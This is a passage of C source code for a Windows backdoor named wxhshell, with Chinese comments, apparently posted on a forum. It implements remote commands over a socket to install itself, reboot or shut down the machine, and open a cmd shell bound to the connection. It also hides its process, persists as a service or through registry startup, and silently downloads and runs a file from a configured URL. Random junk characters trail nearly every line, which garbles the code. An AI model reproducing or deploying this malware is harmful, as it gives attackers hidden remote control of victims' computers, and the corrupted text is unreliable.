      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T*e>_\Tx  
    break; S3l$\X;6X  
  } }&M$  
  // 安装 +zn&DG0\X  
  case 'i': { D-J G0.@  
    if(Install()) Fg;V6s/>ts  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =8#$'1K,v  
    else w,f1F;!q1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '[g@A>xDvW  
    break; RsU!mYs:H  
    } qVjl8%)  
  // 卸载 J=Q?_$xb}  
  case 'r': { JL.noV3q$  
    if(Uninstall()) =wE1j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '[V}]Z>-  
    else g:V8"'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]rU$0)VN  
    break; [Vzp D 4  
    } FtHR.S= u  
  // 显示 wxhshell 所在路径 IY jt*p5  
  case 'p': { rXgU*3 RG  
    char svExeFile[MAX_PATH]; b5NPG N  
    strcpy(svExeFile,"\n\r"); >LS*G qjq  
      strcat(svExeFile,ExeFile); IWc?E  
        send(wsh,svExeFile,strlen(svExeFile),0); tj<a , l  
    break; [Tmpj9! q  
    } KVQ|l,E, /  
  // 重启 XpS].P9  
  case 'b': { !} ~K'1"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [ed6n@/O@  
    if(Boot(REBOOT)) %+0 7>/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A"ApWJ3  
    else { &b~if}vcb  
    closesocket(wsh); x"7`,W  
    ExitThread(0); JWzN 'a R  
    } D}YAu,<K  
    break; d'y\~M9(  
    } KicPW}_  
  // 关机 9b88):[qO  
  case 'd': { BTi:Bcv k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +OM`c7M:  
    if(Boot(SHUTDOWN)) EdgcdSb7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lyZ[t PS  
    else { ! 3&_#VO  
    closesocket(wsh); "eRf3Q7w:  
    ExitThread(0); *|97 g*G(  
    } fjGY p  
    break; z;fi  
    } /8](M5X]f  
  // 获取shell 5BWO7F0v"  
  case 's': { v uP.V#  
    CmdShell(wsh); xweV8k/  
    closesocket(wsh); [3&Y* W  
    ExitThread(0); )3 C~kmN7  
    break; UTT7a"  
  } e;_ cC7  
  // 退出 C B&$tDi  
  case 'x': { e[`u:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qqju6}+  
    CloseIt(wsh); P01o:/}  
    break; {-FS+D`  
    } kWkAfzf4a  
  // 离开 YTWlR]Tr6?  
  case 'q': { ~x}/>-d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q].n1w [  
    closesocket(wsh); &tKr ?l  
    WSACleanup(); WcE{1&PXx  
    exit(1); L!fiW`>0G  
    break; 5yC$G{yV  
        } HZ>8@AVa\  
  } WrzyBG_  
  } i]sz*\P~  
=[X..<bW9:  
  // 提示信息 Yr7%C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); io8c[#"uU  
} f[}N  
  } n4* hQi+d  
Av3qoH)[<  
  return; ?=C?3R  
} <[N"W82p  
w"p,6Ew  
// shell模块句柄 e@B+\1  
int CmdShell(SOCKET sock) \=kre+g  
{ 7x,c)QES`  
STARTUPINFO si; 67916  
ZeroMemory(&si,sizeof(si)); z@\r V@W5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~KtA0BtC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y6J7N^  
PROCESS_INFORMATION ProcessInfo; HkH!B.H]  
char cmdline[]="cmd"; ^Md]e<WAp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k{fTq KS%h  
  return 0; qT U(]O1  
} O^tH43C  
"!\ON)l*  
// 自身启动模式 86.LkwlqoH  
int StartFromService(void) xUp[)B6?:  
{ D'dE!CAUs  
typedef struct W6=j^nv  
{ QEUr+7[  
  DWORD ExitStatus; mQVc ZV  
  DWORD PebBaseAddress; GQZLOjsop  
  DWORD AffinityMask; ?k6P H"M  
  DWORD BasePriority; E="FE.%A  
  ULONG UniqueProcessId; =x8F!W}Bt<  
  ULONG InheritedFromUniqueProcessId; AYB =iLa  
}   PROCESS_BASIC_INFORMATION; J?Y1G<&  
t")+ L{  
PROCNTQSIP NtQueryInformationProcess; A..,.   
?2#!63[Kg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h}vzZZ2,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pWU3?U  
7.-g=Rcz  
  HANDLE             hProcess; ZjlFr(  
  PROCESS_BASIC_INFORMATION pbi; ^iWcuh_n  
uyd y[n\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2(s+?n.N  
  if(NULL == hInst ) return 0; [gZz'q&[)  
$?38o6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d@ +}_R"c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vY+{zGF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _.Ey_K_1  
=U:9A=uEvS  
  if (!NtQueryInformationProcess) return 0; vrS)VJg`  
lu]Z2xSv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,34|_  
  if(!hProcess) return 0; iG:9uDY  
]Bp db'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H|E{n/g  
|2!!>1k  
  CloseHandle(hProcess); XxN=vL&m  
Y} '8`.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ||{V*"+\  
if(hProcess==NULL) return 0; 5kX#qT=  
;g-L2(T05;  
HMODULE hMod; m\3r<*q6  
char procName[255]; M 5mCG  
unsigned long cbNeeded; .GJl@==~1  
R"j6 w[tn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $OE~0Z\0  
6usy0g D  
  CloseHandle(hProcess); mLa0BIP  
&e#>%0aS  
if(strstr(procName,"services")) return 1; // 以服务启动 <NIg`B@'s  
/ 7EeM{,~  
  return 0; // 注册表启动 5if4eitS  
} ]6W;~w%  
F vJJpPS  
// 主模块 $!+t2P@d.5  
int StartWxhshell(LPSTR lpCmdLine) 6mawcK:7  
{ qDOJ;> I  
  SOCKET wsl; 2u0dn?9\  
BOOL val=TRUE; C'iJFf gR  
  int port=0; (9;qV:0`  
  struct sockaddr_in door; Gi<ik~  
XHKVs  
  if(wscfg.ws_autoins) Install(); (kECV8)2  
ZBDEE+8e  
port=atoi(lpCmdLine); (<u3<40[YN  
vV2px  
if(port<=0) port=wscfg.ws_port; aFI?^"L  
O@.afk"{  
  WSADATA data; nm[ yp3B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ##%R|P3  
R]oi&"H@r)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "82<}D^;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wm3fd 7T  
  door.sin_family = AF_INET; AR<'Airi:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "IOu$?  
  door.sin_port = htons(port); j( *;W}*^  
z0@)@4z!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { In-W,   
closesocket(wsl); 9fWr{fx  
return 1; N9W\>hKaeh  
} ELx?ph-9  
C:$12{I?*  
  if(listen(wsl,2) == INVALID_SOCKET) { QK+s}ny  
closesocket(wsl); MoKGnb  
return 1; G4!$48  
} &FQ]`g3_@  
  Wxhshell(wsl); UOWOOdWS B  
  WSACleanup(); $N7:;X"l  
@ 2mJh^cj  
return 0; zTFfft<  
s+"[S%  
} *^'$YVd#  
_$OhV#LKG  
// 以NT服务方式启动 #}^ kMD >  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y(>]7  
{ 3I)!.N[m  
DWORD   status = 0; G\ twx ;  
  DWORD   specificError = 0xfffffff; V24i8Qx  
!ul)e;a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |51z&dG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )^&,[Q=i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M2[ywab  
  serviceStatus.dwWin32ExitCode     = 0; b";w\H  
  serviceStatus.dwServiceSpecificExitCode = 0; RI#C r+/  
  serviceStatus.dwCheckPoint       = 0; &Wj %`T{  
  serviceStatus.dwWaitHint       = 0; .x__X3P>\  
l}>gG[q!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /2,s-^  
  if (hServiceStatusHandle==0) return; t7VXW{3  
N=) E$h  
status = GetLastError(); LK8K=AA3P  
  if (status!=NO_ERROR) 3r=IO#  
{ =rj5 q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "RuH"~o  
    serviceStatus.dwCheckPoint       = 0; tS2P|fl  
    serviceStatus.dwWaitHint       = 0; ]xf lfZ  
    serviceStatus.dwWin32ExitCode     = status; 7y",%WYSD  
    serviceStatus.dwServiceSpecificExitCode = specificError; Qtmsk:qm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~%Y*2i f  
    return; }r&^*" 2=  
  } A9lnQCsJ  
Sd]`I)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xUYUOyV  
  serviceStatus.dwCheckPoint       = 0; 1>W|vOv"Z?  
  serviceStatus.dwWaitHint       = 0; 6 &% c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .tB[8Y=J  
}  D7%`hU  
S3-3pJ]~Zk  
// 处理NT服务事件,比如:启动、停止 [YT"UVI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C7%+1w'D8  
{ +p =n-  
switch(fdwControl) w'q}aQS  
{ @DT${,.49  
case SERVICE_CONTROL_STOP: 89F^I"Im(  
  serviceStatus.dwWin32ExitCode = 0; 2Y&QJon)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E<>Ev_5>  
  serviceStatus.dwCheckPoint   = 0; ~4th;#'  
  serviceStatus.dwWaitHint     = 0; @?_<A%hz  
  { qyMR0ai-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZHxdrX)  
  } \WD}@6) ~  
  return; < C\snB  
case SERVICE_CONTROL_PAUSE: #uNQ+US0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c ?mCt0Cg  
  break; Bb];qYuCO  
case SERVICE_CONTROL_CONTINUE: .bbl-a/ 3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -yt[0  
  break; ukV1_QeN [  
case SERVICE_CONTROL_INTERROGATE: 1F'j .1  
  break; m#+0uZm(  
}; >JVZ@ PV H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \D BtU7"v  
} g7k|Ho-W  
(3C6'Wt  
// 标准应用程序主函数 3O<:eS~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `[V]xP%V  
{ R;6(2bTN6  
6\(wU?m'/  
// 获取操作系统版本 %s~MfK.k  
OsIsNt=GetOsVer(); [3++Q-rR=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZK))91;v  
wmFI?   
  // 从命令行安装 #5)E4"m  
  if(strpbrk(lpCmdLine,"iI")) Install(); "Ko ^m(`  
E1:{5F5/  
  // 下载执行文件 b,YTw  
if(wscfg.ws_downexe) { sW 7R&t!G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G S-@drZp_  
  WinExec(wscfg.ws_filenam,SW_HIDE); vX})6O  
} I.I:2Ew+  
&eq>>  
if(!OsIsNt) { v\ggFrG]  
// 如果时win9x,隐藏进程并且设置为注册表启动 RKaCX:  
HideProc(); g W'aK>*c  
StartWxhshell(lpCmdLine); 9J_lxy}  
} X b-q:{r1h  
else vBCQ-l<Ub  
  if(StartFromService()) W[A;VOj0$  
  // 以服务方式启动 fB[I1Z  
  StartServiceCtrlDispatcher(DispatchTable); vINm2%*zJ  
else $trvNbco  
  // 普通方式启动 ]ERPWW;^  
  StartWxhshell(lpCmdLine); Ia:n<sZU  
$x]'6  
return 0; >=c<6#:s<9  
}
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只看该作者 1 发表于: 2006-10-10
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